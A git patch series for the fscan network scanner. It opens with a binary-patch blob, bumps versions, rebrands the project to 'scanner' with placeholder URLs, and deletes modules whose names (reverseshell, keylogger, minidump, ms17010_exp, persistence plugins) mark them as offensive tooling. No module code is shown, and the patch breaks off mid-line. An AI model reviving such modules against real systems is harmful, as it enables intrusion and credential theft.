z2b4aY;kJQSWonc%p8QK}uA&iQkvu2jaT)3)l8c?^M;OfpbBbog2?2Zx@Ba;6zEG+E zm;>`krUgrP2w!Imu}RxWPuFFL za9oC_4sj-hCy{pt0TxTy7#EJGw!`32-3+E8FZFR&ywjROv|*Gwlb(1I(Vsm@O#s$n ztM_OxANuzKQ8;vs0zseifTfs-O2FbTT7TtmIMAZBL(Y<~p|G8>x|XoWMTd0}rj6hk z;*hB_+Ra7l2i#ZGKc;0vp zzM(SM7Ts$GVVEjGhXdO*fY}qLa4QMnDu`x7Gz3CgtIW>~dqFcCilxJtf0YOZInHWM z#FeG^9>LvnfT1KyOL?24fcGBW$tKIs4i2 zw14k_Ng+&uuRs#CE4i`|O+(EXq^?!X0fAGxaG99S$?440v-g@)&OGbOcE#y0AsjdC z;EWrb{-iyl+TSUpc!BoiRy0Jkhde{ExVT$NDY)HIzn@Zw<8}y6J{vd+q_DvforwTx z1BR?T^gAH~h$|%(dQ&*K#H=9pZuU3*a7iG`OilS!f`RdQVwT;vO#F^n>K#ifNF@9; z+$gw14riArmo_jwT_lhZ4Bx@Qv;e*j3KA%DSYuVl<8}*;`LCOjf ztqcM6pvqROOcPejlBW(i{*VDm>uI;rX+npUnLX~$`}&G#A%9Opz7>EiT8C*1EQ3-> z<%`bZamHSJdKV^D?(7)%C!^PqE4B(n7doh zcJvCTH`z{!y(;y!6+_z=w+eqR>}4do@r~iEnd-^{9u<+(o^YX>I8sU3U04L!_5hx~ zO^Bx4)!q@%Xk9HgQ7PwI5P+vgWEM}P4)&yQfzdW(Gd4a5zCGGC`+|RS<_VK^e3rF5kOZLI`TV3xp}c zCckk5S=3xgBn|=%LF#LcLc|S6sARv54?>ix*b=A9*D#ZZX=X>e~Kl2=c^NF z4B=CGgSA{uT#Yb*4*xxWpb<0;S7;R*X{4FDSIdfyc{%CvAp@n>X5~dfQk1$BQ*W|6yWQ#SLNz&37i!28iTt zxgAO8y%{GZ)25WAa@mUQ^O=-W+Olyf%z!poqLAe}nG%>|zJP%F#^=AV_hq64U#b{_ zHmeh4zvOr>LXV0kkc&d0Sd2lkq3iPnOS&vSH&_#++TKYxNcbVJ`$Vv6^G+bvKB944 zZ#wQGN-tQ%;tcWr40Cy+Rum}#zu|BkYrqEEl>F$4I)-Hk6MOOp{NB*i&MhpW$AKfb z31UL&@&w;)!HJ_HwMW^Mes}%rklpV&%Q*IC`=Qg-2L;VOR}ArrK}zbidmqacQMl=Be936cA5kDDvp`>YA(k$TOBgzZP-pi1Kr8 zpw_vdze@~_TNKNRI-*RX)a>?(7JlT66iGy_V;0csp7P(dLKQOz_sAhQ(QWTJWnU#d z2<_~+ykkE3tg(tbx=H!rDZS_HvxOSH!+Kw;uC}-d<0VNt`RsG66WMFXdVzkfRYc|| zT?sh~5k$OE?>92yRFtP|0dP~KlNoXNyEHU*n`&IUgW?AEo-~;{3 z=DI?(yWfj!IP-Wfk%*aNi=tr$hE`6^*UFMlOcIZ;j1D@2m@ z-|PH%rQ)Ibgc%eoA{qUl*>0c^6DBdAcw3(N4DAZA1BlG!_94`)0$a1-N^E+pv<|W042)K;SkbQDVFEthpuSSN z&mwZt^c`XkG*ITCEeM%25Oo7d7zB$GE;Ka*{$Mzkj)@kPTc!xuC(b1JWu;S*vl#r` z?5_cb1ZI+aXWKa;k`ix`xhC$aNi((%;8V{w!44SiibiPkBxh0!l{9fSgPM&Kxy1RP z4d}o{{3fOcqMm6m$}5$dVp|y?!#2n8V&kgv^?M&PGJpJQxOPyAQ z$*D@|XJ0i`!+wnQN;GgXzANvt39yk8aSm=9Bi!9436F@1*;hR;Ul4+?o>WTg{>ahD zj?+;l?R5Bk$wm*Ih;s-(jy$FI=Y4{UhlYL_)C`iGL;HWYx)%H&%LDsmdefp?1<(L{Oqhs$@ahNGtHQ*}5OCN+t}Mto#yh9+(m)OMCD;SIJRx z%6V^kn%RO*=JzA)&Aff#R_%V{y8XvDy&GxX{cvrH?3##g=0-G7MLyX%#9K?2_+AU= z`0t6k`}Ofm%-=jBxqd{zC*~TI0TIs6&{3s8jO0YMWP4A3H2;Oh>t0Bt!dZo2@*W#_ z6$)=3>>&YMQ>PQb>9zLHHJtpdEWx$&rhNCcVX(W0Fx|;EDUQbI{qeS=nbzwt`TOORPMqR6#us?15<>S40kIs- z@kO+t_xTXh1Tiq^dz@nbrjD}pB!Jf%Y;wJbbD#-`FF(hef=WmIz2uYEf2QLE9zhDSLjSwVDwliBV%X zHkt^SJ00t{OTg%C47$k%B2FlUL-$2nm4=h25(P{WF}r=n9Oy_j3{=r|RWo8xhPaxl2`bMTkw zo{w;;f#$OdQ0TPxF7{9AZ#{5+shcQ<0a*^3oY6Y|>$iyoU4g6U$-nOL-$Z)RyLIWH z9h)cH<0{%qX9iRZ5tA@!sUZdtm|q10p$8M=)yWI0|4nTKO(X8+8uDiTjAQjM#TPvx z#T(MQ`&oK%AKWxuOjNj-TjqTLu*%Upoc+P{(?NjXzTfla2+?&ZP@MZ7!mB?y_b^Ds zv^y8Iv1mVdgk8)#dPDAj%oZS{9B5_hcb)yjZxG3j5<6TXTwV?lr2!S3?8hk>LQY;v zGl7@1gH*Z1u}w;A;`2NczzHGs&cpB;1Ce;4hv8fv6P+1RxEaXf%Pki&B;~iQ>~b{C8T4 zJ+bRIZe@S#2HV1@Pwt+kDHxa{@J40&8@nM0iNHeYyLkR8haZ@*gMg`f}pF@-oNOaPU2+Mm@i8?`(wNJ4=VP*tU*Hm zfBY3Adtzrg?Y&|+nUKH4>rWKiAJO1=p*$?J#HKO>iN$@!G?Zy@3WDmJ`5nCD^N|h< zj?aDa*?4@evw;1Nf~T_ZbF-fC-G9Q*cuN>i7tG58%v})kyO-6H@Odv6_CFFH=>Ly# z_kZ?hF9~Cgn#JNi$@09Re2P@#27;hwY?v(`Wlg%JzHJNykJ;$^ghL<{}!$? zejxvd&kOmE741t~sD1;Z7D%91~~gPTEpR}b_c z3Q`iU=57zk2$yllVw5RX3 z)^RPBqc&fxK%-1E#16t6*cynEIB< zf0nKyx*9T<8vs&@;SG<8NJ;5)TJIX#NjCfUwR2dTjl30s^8S3yj!y? z;^Kgb6RRMqNkHtf<5?6c-SSM{RAMqrf4*>8*JzSR!C66Ge~J-9P}*`_gPcHftablir38mz&SlNU^f4zWf{+p%Hwm$BW99srvX$`3p=`#r)ss{%8xU#gt&l#6o0{ZAlx&zMqa&$tj19V$?rO zUf6zjX)N|RQ)QqaDq6*ro?_AprAj{|oSUgbJ3QJW64xMQS z=#6Tjz1j-QJ4#7r-qD*t(EGM)S*zdWk}y~&NWRr&xO}&=(LMIX@P!MCOQ&F%VUG3` z%>L-!>~_N131RJiW9yA1;SIDvPB;v`+Lkm6>1ivUyA-x~fzIq4dXA{~+S2R=eSRU4 zV|T3o2{4JotIr=BO9qfq>92DE_0u5&(awCu&hk7$T0ix^mf)F4ra^#Ws<&kn?7IPslm<$3f( zYR3R_;^7Xsdaq;A(2=^3OXtpiWnur0S}4;`VOs0J3f?5WS$4(6Xq52F9 z0#it+gzQyDL>^)#jqAVQ8AJ&F8FwF8l8EQ-6`25%)dUt~9lT*iV&HDcfj5T2^Uyf< z(=^JYYeY^bZKIRznM!1ki^^XkXox!q!Jpyth>NQ<)mM{rv#T5F5uqfbzz1MKz5hH) z4((J-Spreamck!jd8VCc zhstzkQ5!V+PmZ5~T02?t5^}trnkpQx1bKF^BkmoI;C;jT=L$$uC73*ulh15}l;y}A z29pehy2~*{zkz*k2Q|c$qN+yLkzbdPT;Z`4>uOPd{sif)Gqyt$XoNigajj^g85!_ z%;`({7B3YlAPqi$W_0A!@99N}A$hKy`YzBd5^S&B(#3@A57GJF6J zq|oKfe?vhRL;T=X>P z#Hzhs0Bl2f`m*%7KGMa+A0w3X`wXV8Tp{k-qdKH%-~1-Mx&Nr>tYw@ZySXQiCHLX@ z-xDm=`G}yXS8!@ER{)giFm=;<^^chulOCvi(wQM?64q>dhgRIUZSjq|DMW?gK6G)c z9KNR?nh$k?-Dk4d1&|}x?OFH~wee@tfK614)#xxK13u78*IwQ9Ol)t;s=wa|AIWgNR3e37*nR;& zoNL1`2M+ZrlNQM`^jKQxhFY3VebkW@2FA0 z{^$gy@VX!s`HULytidph72sly@-#LA>npUmaLZ~KJq^p@T{uBn#7|iCW?9sg z9VsZZ=PNd{|1t-*n8q)Y#jmDYd8;_DwxFEM`UoCPy6jC+HR{#0N_<58lJ3`|c()~t z2_QX+H_hSXz7{egeL*wrQc-80etS|Gzbr&Uqi8?I)9fcw4W%e4$1Bg~KC~1mSZoyL zn(E3U_gxR&x!`oqsDsV>;vratn4@T&bd4AdnDH+*%e7m#X)Zy?xpzh9MRAHakqIEuL#Y^f<6^flcaz39xcKF zBL`Avd{Hb6{q%6SS?VMj@3{ZbxLlESjJri++*o_I1w(K?&+NX%c&zs<80bwtdZ+La zAuTeZsg*U0Kpg2Don$nH|HF^*9osWhMkBN<0X1%2cw19m9#;S7_M1+mPw(7&lY|pK ziuXep&l5tM6Yn_31y9`^$DEw@c9==*DRKK88wgt1MFvj2wYn7;c#kzgVrx5*%PFQe1WsMXWIqnYjmDl~E zgz`km^`vh2fng%KiEHSdqGziu@c7)d*V}^eiJm=h9(0tO4qfCe@vIW3Q$HoTKOsiJ z;>9hI27AK@m6YP5ujukHJLz*bb`1GR(u6ytE^U+Ii8)xSc7=Ge z=f5RgE6g03S64iCtGSMAk5dTumO_BsrZyD|HG{l{mdGQ~qJ)e?^T>dQqOSwAcMAQ$ zZi|DoRIj5#OpI%(-_><%f5k`pvcQeQ?Vm^1eIhN4WHb`r`VGT8(ai`wy25vkR%Yt@ zD}eE9{rO=gZ%jg4E!yZJnVNG7GQ!6-#pN+4Bz$_$W~hA`=N|Q{97ruv=yZz_X7;@S|J9T%{JTBULz8u>3 z>|XsPyFVOFV9J?R;SiG+CsFZeXSnIl3r2xNY_1z~t<5a$=-96!Ps5Uk} zK$M$!U|J6)u4pR)=9u(^vK+}w*R7nx<{h5iYv56VmrglI`Gz|QP87j}`LWyTi8#m&Eu$1U(6ivxph zbITG7e1vmI@j!7`3s_zcG8e!va5vKbaNbUqT94@ZIwjGh21_?|BvyZyS&&8UaPoIN zmN+H;k;fJjeRCUat<`*zlJ_&-_F-s!d014%qnXrRTm7=1qLcc{Z)oZ38`x3oG>Xg? zgE1NV)sJ2ryzg6+LE?8hjPJQM34Q}z00-N9o<(~nL${V3|Dx?vFAo!3Q}0cBs?HI< z?=pEF`8zIUx^RU@#}@enh!*JvP@8=a!6o& zS)WO5=xH*TPtCOiMg-}yPMbC|z%<5`Oo1_aA&1Kj5G94{VvhvGDGCW6T_qcLbqg`e z^B;Qu-d3m3W9hjUkw^LEcCVLrHm|iR%J0o0#!b=`V?Jn=7c>h?M3`B5l~!dW<^^`i ziT7;Nn3@$%v!e7!@xJARiv6OH@GgNJEfjIBLCFG zEazfzY-`eaO5UI1izj-xcXUeDGa8K67J_N~9E+%vjty({GWmzymS^8Z`X)lCLh$f3 z9ThUyj$TJ*s8Ch;&c-H>)poTKy`h|SZRh-vyWuLc;*$D>HD~62cN8M~-ax{D87rxj zq@D=huN_^(U|&F-M+_BkunfqhCQ`3wefWNoh6-!b|+&5I_XwM%b!{MiLl;Ohcb-A|8_HmU&*KM;&UzrkSi{EQF;?Wn(5 zq+?nY9j4TE=Xy1pF*B=mz1>v-+7+;W-r3_V;6PjdrZ#h_%;pnUe4G8j*i{EeZ^|YY z#}~NaB*;YTirL!z++P+P_q{b2xO(bxLP!+`To&^es6_pu+HqxT2g!lC+>-B~ZyDl=;bn2{gQx#w0HLu9&D0>p4=8GW%&-=y%x&l{@V z&FLo7N2ck;)A|K8k(Syuqb5E}wfFAx)_l?#xckjJsRc2N0;FZqiiSQS?wGo(pB>_A zE~7L3LU|{zZjD27IvG9`{al*|j(Psb8sfhdl}wUWUOXCL*^N$DZ!*to()aGEodI8Z zTzseQMRm8T`DN5y{pw-k3(sQo!$E16h#VC=AZ;skE5Tr_qoVeRiI=&h#x>rZg{awN zQf_H&`Gx|m!Y36Tk#_)f!DUHy8hLj-J^2_V_N(;`%cSB%3;p9fg);K~@iGmlc*Mwr z$CDMKWbq)9k*(WaLmKm?B#&%yb94yy9j_huh~_SL?LiNRb5j;As5XZuSO*x9+I({a zGbkY%PimZd@$F}3Qm?qrpjM|h*qY%^1R(h(KRNvVw&`|Y6yt53aqZ~^$1Q^|4vgeH zQ6hYL?$Z8>#?^jtF>rP+CGXn?35{cwBb$(JVn46-O z=L9~pUoE0POvq=8TAJE@*WSI8;9t5#zSdfuI%#yjw2~C7Pb6+8y++@GemeMnyxpYu)Wtq#GDcV4xh z`rT3y{T0ZJWgsmgrlaE}haDEyY@2OMP#@y`rK;RuQ2^KRldEXRf59q3t7B`ldmK|0 zoL(5_jZ>y(Om3;{rqNP8j=H~yi8mTh=kRqjo)%($)5}l&XZqgjrk({Bs zz=Jz^;MiUNGtKQ$CTjD`65H~&O0P+_7Zur{o{VB*1Sr5&Gp5? z&$TLVkZy+d_!9yuuD`<+!@AYa;;y1~v(A<+F^@)2TjJ9O7KJCZ*V^N76$0?9ti8 zWy(+Lq*Lm9>}aM8GD}Ltz304vI-fII zzO;CH^<0d&!Z*hzkHZ^aFtp1cAYrvHQ!QnJ2fd1|o0Tj+hR$t@PhMj$Se^U?odYx_ zQi4B#b6BQz?yn`AuI%Sg*w(J?evRK}x$+K*YPY>hjIum#cs%l` z@;F02UXhcqm&C^o=R**71Yc{tm?EQ$%>U?7Pp-I=>iG=-u8_1)g+-j&X|W|-#h%YQ zJRv<{sfONDl{EblJ=bPp`qI~NOb%h>Cu=z7>PD3<^6$MRsH**!``-J@CvNDU+xr|5 zo^~NIA$f$*U(#h}pb$GzYFs0snGj`Om@(m&3^YpfLN;~|4ZO*Sd%`wHCQ8K#UC<_F zTZD78Aa3X_^igprAo-_?d2C(nwq}IJ^J=FG!JKO4RFiNe#L%vZ>m4I{X-!=Sqto7S zWlg?z&A+nb|6TedTf+XIRyqF%uX4p^e11{Lp8ot|*V#DoyJ`ou4y5ioe(`?;t4EL0 diff --git a/tools/perftest/results/param_tests/time_results.csv b/tools/perftest/results/param_tests/time_results.csv deleted file mode 100644 index 7aa719ab..00000000 --- a/tools/perftest/results/param_tests/time_results.csv +++ /dev/null @@ -1,5 +0,0 @@ -"time_seconds","duration_ms","packets_per_sec","tcp_success","tcp_failed","success_rate" -"1","13110","96.87","759","511","59.76" -"2","13295","95.52","759","511","59.76" -"3","15231","83.38","759","511","59.76" -"5","16451","77.20","759","511","59.76" From 18729e15df39b7827dab3405c9e81500e93e77b9 Mon Sep 17 00:00:00 2001 From: CO0KlE1 <173026624+CO0KlE1@users.noreply.github.com> Date: Fri, 10 Jul 2026 15:00:32 +0800 Subject: [PATCH 5/6] prepare v2.2.1 release --- .gitignore | 1 + common/globals.go | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/.gitignore b/.gitignore index 3229b544..4d1e8a2f 100644 --- a/.gitignore +++ b/.gitignore @@ -54,6 +54,7 @@ test_output.txt # Build artifacts / 构建产物 build/ bin/ +/dist/ *.exe *.dll *.so diff --git a/common/globals.go b/common/globals.go index 0ed94e73..ffcdc8eb 100644 --- a/common/globals.go +++ b/common/globals.go @@ -69,7 +69,7 @@ const ( // 版本信息,通过 ldflags 注入 var ( - version = "2.2.0" + version = "2.2.1" commit = "unknown" date = "unknown" ) From 162d089c426e49de9cedb9b0c06f065431fb6127 Mon Sep 17 00:00:00 2001 From: CO0KlE1 <173026624+CO0KlE1@users.noreply.github.com> Date: Fri, 10 Jul 2026 17:04:17 +0800 Subject: [PATCH 6/6] release scanner v2.2.2 --- .github/ISSUE_TEMPLATE/config.yml | 4 +- .github/conf/.goreleaser.yml | 94 +- .github/release-notes/v2.2.0-rc.1.md | 12 +- .github/release-notes/v2.2.0-rc.md | 12 +- .github/release-notes/v2.2.0.md | 2 +- Makefile | 10 +- README.md | 18 +- README_EN.md | 18 +- common/api_test.go | 4 +- common/config_builder.go | 6 +- common/config_builder_test.go | 20 +- common/config_struct.go | 57 +- common/debug/debug.go | 2 +- common/flag.go | 52 +- common/flag_config.go | 40 +- common/flag_test.go | 164 -- common/globals.go | 2 +- common/globals_test.go | 4 +- common/http_identity.go | 13 + common/http_identity_test.go | 29 + common/i18n/locales/en.yaml | 668 +----- common/i18n/locales/zh.yaml | 665 +----- common/initialize.go | 13 +- common/initialize_test.go | 2 - common/logger.go | 4 +- common/network.go | 4 +- common/network_facade_test.go | 2 +- common/output/writers.go | 2 +- common/output_api.go | 2 +- common/output_api_test.go | 2 +- common/output_filename.go | 2 +- common/parse.go | 4 +- common/parsers/host_iterator.go | 2 +- common/parsers/parsers.go | 4 +- common/progress_manager.go | 2 +- common/proxy/constants.go | 2 +- common/runtime_api_test.go | 16 +- common/session.go | 6 +- common/session_test.go | 2 +- common/state.go | 51 - core/adaptive_pool.go | 4 +- core/alive_scanner.go | 6 +- core/alive_scanner_test.go | 2 +- core/base_scan_strategy.go | 49 +- core/base_scan_strategy_test.go | 58 +- core/env_profiler.go | 4 +- core/env_profiler_test.go | 2 +- core/host_batch.go | 4 +- core/host_excludes.go | 4 +- core/host_excludes_test.go | 2 +- core/icmp.go | 6 +- core/local_scanner.go | 79 - core/local_scanner_test.go | 147 -- core/network_profiler.go | 4 +- core/port_scan.go | 8 +- core/portfinger/match_engine.go | 2 +- core/portfinger/probe_parser.go | 2 +- core/real_network_test.go | 2 +- core/scanner.go | 81 +- core/scanner_test.go | 105 +- core/service_cache_test.go | 4 +- core/service_probe.go | 6 +- core/service_probe_strategy_test.go | 4 +- core/service_scanner.go | 8 +- core/service_scanner_test.go | 2 +- core/tuning_cli_integration_test.go | 6 +- core/web_scanner.go | 14 +- core/web_scanner_test.go | 13 +- examples/embed-agent/main.go | 2 +- examples/embed-basic/main.go | 2 +- examples/embed-stream/main.go | 2 +- go.mod | 10 +- go.sum | 2 - libs/grdp/core/io.go | 2 +- libs/grdp/core/types.go | 2 +- libs/grdp/login/screen.go | 16 +- libs/grdp/protocol/lic/lic.go | 2 +- libs/grdp/protocol/nla/cssp.go | 2 +- libs/grdp/protocol/nla/encode.go | 2 +- libs/grdp/protocol/nla/ntlm.go | 4 +- libs/grdp/protocol/pdu/caps.go | 6 +- libs/grdp/protocol/pdu/data.go | 4 +- libs/grdp/protocol/pdu/pdu.go | 8 +- libs/grdp/protocol/sec/sec.go | 16 +- libs/grdp/protocol/sec/sec_test.go | 4 +- libs/grdp/protocol/t125/ber/ber.go | 2 +- libs/grdp/protocol/t125/gcc/gcc.go | 6 +- libs/grdp/protocol/t125/mcs.go | 12 +- libs/grdp/protocol/t125/per/per.go | 4 +- libs/grdp/protocol/tpkt/tpkt.go | 8 +- libs/grdp/protocol/x224/x224.go | 8 +- main_cli.go | 13 +- pkg/fscan/README.md | 2 +- pkg/fscan/controller.go | 2 +- pkg/fscan/result_test.go | 2 +- pkg/fscan/scanner.go | 109 +- pkg/fscan/scanner_test.go | 6 +- pkg/fscan/types.go | 4 - plugins/init.go | 23 +- plugins/init_test.go | 39 +- plugins/local/auto.json | 2163 -------------------- plugins/local/cleaner.go | 125 -- plugins/local/cleaner_other.go | 9 - plugins/local/cleaner_windows.go | 251 --- plugins/local/crontask.go | 341 --- plugins/local/forwardshell.go | 235 --- plugins/local/keylogger.go | 268 --- plugins/local/ldpreload.go | 316 --- plugins/local/local_pure_test.go | 152 -- plugins/local/minidump.go | 591 ------ plugins/local/reverseshell.go | 204 -- plugins/local/socks5proxy.go | 328 --- plugins/local/socks5proxy_test.go | 94 - plugins/local/sshkey.go | 138 -- plugins/local/systemdservice.go | 410 ---- plugins/local/systeminfo.go | 421 ---- plugins/local/systeminfo_dc_other.go | 5 - plugins/local/systeminfo_dc_url.go | 11 - plugins/local/systeminfo_dc_url_test.go | 24 - plugins/local/systeminfo_dc_windows.go | 232 --- plugins/local/types.go | 21 - plugins/local/winbits.go | 99 - plugins/local/winifeo.go | 76 - plugins/local/winlogon.go | 75 - plugins/local/winregistry.go | 78 - plugins/local/winschtask.go | 91 - plugins/local/winservice.go | 81 - plugins/local/winstartup.go | 93 - plugins/local/winwmi.go | 98 - plugins/services/activemq.go | 6 +- plugins/services/bacnet.go | 4 +- plugins/services/cassandra.go | 6 +- plugins/services/credential_tester.go | 6 +- plugins/services/credential_tester_test.go | 2 +- plugins/services/dns.go | 4 +- plugins/services/dnstcp.go | 4 +- plugins/services/elasticsearch.go | 6 +- plugins/services/findnet.go | 6 +- plugins/services/ftp.go | 6 +- plugins/services/http_test_helpers_test.go | 2 +- plugins/services/imap.go | 4 +- plugins/services/ipmi.go | 4 +- plugins/services/jdwp.go | 4 +- plugins/services/kafka.go | 8 +- plugins/services/ldap.go | 6 +- plugins/services/memcached.go | 6 +- plugins/services/modbus.go | 4 +- plugins/services/mongodb.go | 6 +- plugins/services/mqtt.go | 4 +- plugins/services/ms17010.go | 174 +- plugins/services/ms17010_exp.go | 1058 ---------- plugins/services/ms17010_test.go | 2 +- plugins/services/mssql.go | 6 +- plugins/services/mssql_raw_test.go | 2 +- plugins/services/mysql.go | 6 +- plugins/services/mysql_test.go | 2 +- plugins/services/neo4j.go | 6 +- plugins/services/netbios.go | 6 +- plugins/services/nfs.go | 4 +- plugins/services/oracle.go | 6 +- plugins/services/oracle_raw.go | 2 +- plugins/services/oracle_raw_test.go | 2 +- plugins/services/pop3.go | 4 +- plugins/services/postgresql.go | 6 +- plugins/services/postgresql_test.go | 2 +- plugins/services/rabbitmq.go | 6 +- plugins/services/rdp.go | 12 +- plugins/services/rdp_test.go | 2 +- plugins/services/redis.go | 6 +- plugins/services/rmi.go | 4 +- plugins/services/rsync.go | 6 +- plugins/services/smb.go | 6 +- plugins/services/smb_protocol.go | 4 +- plugins/services/smtp.go | 16 +- plugins/services/snmp.go | 4 +- plugins/services/snmp_test.go | 2 +- plugins/services/ssh.go | 6 +- plugins/services/telnet.go | 6 +- plugins/services/tftp.go | 4 +- plugins/services/types.go | 4 +- plugins/services/udp_parsers_test.go | 2 +- plugins/services/vnc.go | 6 +- plugins/services/zookeeper.go | 4 +- plugins/web/types.go | 4 +- plugins/web/webpoc.go | 8 +- plugins/web/webpoc_test.go | 2 +- plugins/web/webtitle.go | 24 +- plugins/web/webtitle_test.go | 25 +- tests/integration/integration_test.go | 6 +- webscan/fingerprint/README.md | 2 +- webscan/fingerprint/enhanced.go | 2 +- webscan/fingerprint/rules.go | 2 +- webscan/fingerprint_scanner.go | 2 +- webscan/fingerprint_scanner_test.go | 2 +- webscan/lib/Client.go | 8 +- webscan/lib/Eval.go | 4 +- webscan/lib/client_test.go | 2 +- webscan/lib/poc_adapter.go | 48 +- webscan/lib/poc_adapter_example_test.go | 10 +- webscan/lib/poc_adapter_realworld_test.go | 18 +- webscan/lib/poc_adapter_test.go | 52 +- webscan/lib/poc_executor.go | 8 +- webscan/lib/poc_executor_test.go | 4 +- webscan/lib/spring_actuator_poc_test.go | 2 +- webscan/web_scan.go | 10 +- webscan/web_scan_test.go | 10 +- 206 files changed, 650 insertions(+), 11093 deletions(-) create mode 100644 common/http_identity.go create mode 100644 common/http_identity_test.go delete mode 100644 core/local_scanner.go delete mode 100644 core/local_scanner_test.go delete mode 100644 plugins/local/auto.json delete mode 100644 plugins/local/cleaner.go delete mode 100644 plugins/local/cleaner_other.go delete mode 100644 plugins/local/cleaner_windows.go delete mode 100644 plugins/local/crontask.go delete mode 100644 plugins/local/forwardshell.go delete mode 100644 plugins/local/keylogger.go delete mode 100644 plugins/local/ldpreload.go delete mode 100644 plugins/local/local_pure_test.go delete mode 100644 plugins/local/minidump.go delete mode 100644 plugins/local/reverseshell.go delete mode 100644 plugins/local/socks5proxy.go delete mode 100644 plugins/local/socks5proxy_test.go delete mode 100644 plugins/local/sshkey.go delete mode 100644 plugins/local/systemdservice.go delete mode 100644 plugins/local/systeminfo.go delete mode 100644 plugins/local/systeminfo_dc_other.go delete mode 100644 plugins/local/systeminfo_dc_url.go delete mode 100644 plugins/local/systeminfo_dc_url_test.go delete mode 100644 plugins/local/systeminfo_dc_windows.go delete mode 100644 plugins/local/types.go delete mode 100644 plugins/local/winbits.go delete mode 100644 plugins/local/winifeo.go delete mode 100644 plugins/local/winlogon.go delete mode 100644 plugins/local/winregistry.go delete mode 100644 plugins/local/winschtask.go delete mode 100644 plugins/local/winservice.go delete mode 100644 plugins/local/winstartup.go delete mode 100644 plugins/local/winwmi.go delete mode 100644 plugins/services/ms17010_exp.go diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml index 73e202c8..5ce88363 100644 --- a/.github/ISSUE_TEMPLATE/config.yml +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -3,8 +3,8 @@ blank_issues_enabled: false contact_links: - name: 📖 使用文档 / README - url: https://github.com/shadow1ng/fscan/blob/main/README.md + url: https://scanner/blob/main/README.md about: 提交 Issue 前请先查阅文档,确认不是用法问题 - name: 💬 讨论区 / Discussions - url: https://github.com/shadow1ng/fscan/discussions + url: https://scanner/discussions about: 使用疑问、经验分享、一般性讨论请使用 Discussions diff --git a/.github/conf/.goreleaser.yml b/.github/conf/.goreleaser.yml index 1ebfa56b..c1ac6fc0 100644 --- a/.github/conf/.goreleaser.yml +++ b/.github/conf/.goreleaser.yml @@ -1,6 +1,6 @@ version: 2 -project_name: "fscan" +project_name: "scanner" before: hooks: @@ -9,8 +9,8 @@ before: builds: # 标准版 - 全部插件(全架构) - - id: fscan - binary: fscan + - id: scanner + binary: scanner main: . env: - CGO_ENABLED=0 @@ -58,94 +58,17 @@ builds: - goos: solaris goarch: mipsle flags: [-trimpath] - ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }} + ldflags: -s -w -X scanner/common.version={{ .Version }} -X scanner/common.commit={{ .ShortCommit }} -X scanner/common.date={{ .Date }} mod_timestamp: "{{ .CommitTimestamp }}" - # 无本地插件版 - 排除本地模块(全架构) - - id: fscan-nolocal - binary: fscan - main: . - env: - - CGO_ENABLED=0 - goos: [windows, linux, darwin, freebsd, solaris] - goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle] - goarm: ["5", "6", "7"] - gomips: [softfloat] - ignore: - - goos: darwin - goarch: "386" - - goos: darwin - goarch: arm - - goos: darwin - goarch: mips - - goos: darwin - goarch: mips64 - - goos: darwin - goarch: mipsle - - goos: windows - goarch: arm64 - - goos: windows - goarch: arm - - goos: windows - goarch: mips - - goos: windows - goarch: mips64 - - goos: windows - goarch: mipsle - - goos: freebsd - goarch: mips - - goos: freebsd - goarch: mips64 - - goos: freebsd - goarch: mipsle - - goos: solaris - goarch: "386" - - goos: solaris - goarch: arm - - goos: solaris - goarch: arm64 - - goos: solaris - goarch: mips - - goos: solaris - goarch: mips64 - - goos: solaris - goarch: mipsle - flags: [-trimpath] - tags: [no_local] - ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }} - mod_timestamp: "{{ .CommitTimestamp }}" - -upx: - - ids: [fscan, fscan-nolocal] - enabled: true - goos: [windows, linux] - goarch: [amd64, "386", arm64] - compress: "6" - brute: false - lzma: false - archives: # 标准版归档 - - id: fscan - ids: [fscan] - formats: [binary] - allow_different_binary_count: true - name_template: >- - fscan_{{ .Version }}_ - {{- if eq .Os "darwin" }}mac - {{- else }}{{ .Os }}{{ end }}_ - {{- if eq .Arch "amd64" }}x64 - {{- else if eq .Arch "386" }}x32 - {{- else }}{{ .Arch }}{{ end }} - {{- if .Arm }}v{{ .Arm }}{{ end }} - - # 无本地插件版归档 - - id: fscan-nolocal - ids: [fscan-nolocal] + - id: scanner + ids: [scanner] formats: [binary] allow_different_binary_count: true name_template: >- - fscan-nolocal_{{ .Version }}_ + scanner_{{ .Version }}_ {{- if eq .Os "darwin" }}mac {{- else }}{{ .Os }}{{ end }}_ {{- if eq .Arch "amd64" }}x64 @@ -190,8 +113,7 @@ release: | 版本 | 说明 | |------|------| - | **fscan** | 标准版,包含全部插件(推荐) | - | **fscan-nolocal** | 精简版,不含本地模块(体积更小) | + | **scanner** | 标准扫描版 | ### 平台支持 diff --git a/.github/release-notes/v2.2.0-rc.1.md b/.github/release-notes/v2.2.0-rc.1.md index 6bffb935..68a9f7d2 100644 --- a/.github/release-notes/v2.2.0-rc.1.md +++ b/.github/release-notes/v2.2.0-rc.1.md @@ -1,8 +1,8 @@ # fscan v2.2.0-rc.1 > ⚠️ **这是预发布版本 (Release Candidate)**,可能存在未发现的问题。 -> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://github.com/shadow1ng/fscan/issues/new/choose) 反馈,帮助我们尽快稳定正式版。 -> 生产环境建议继续使用 [v2.1.3](https://github.com/shadow1ng/fscan/releases/tag/v2.1.3)。 +> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://scanner/issues/new/choose) 反馈,帮助我们尽快稳定正式版。 +> 生产环境建议继续使用 [v2.1.3](https://scanner/releases/tag/v2.1.3)。 --- @@ -111,7 +111,7 @@ ## 反馈与贡献 -- 🐛 发现 Bug → [提交 Bug 报告](https://github.com/shadow1ng/fscan/issues/new?template=bug_report.yml) -- 🎯 结果不准 → [提交误报/漏报](https://github.com/shadow1ng/fscan/issues/new?template=false_positive.yml) -- ✨ 功能建议 → [提交功能请求](https://github.com/shadow1ng/fscan/issues/new?template=feature_request.yml) -- 💬 使用疑问 → [Discussions](https://github.com/shadow1ng/fscan/discussions) +- 🐛 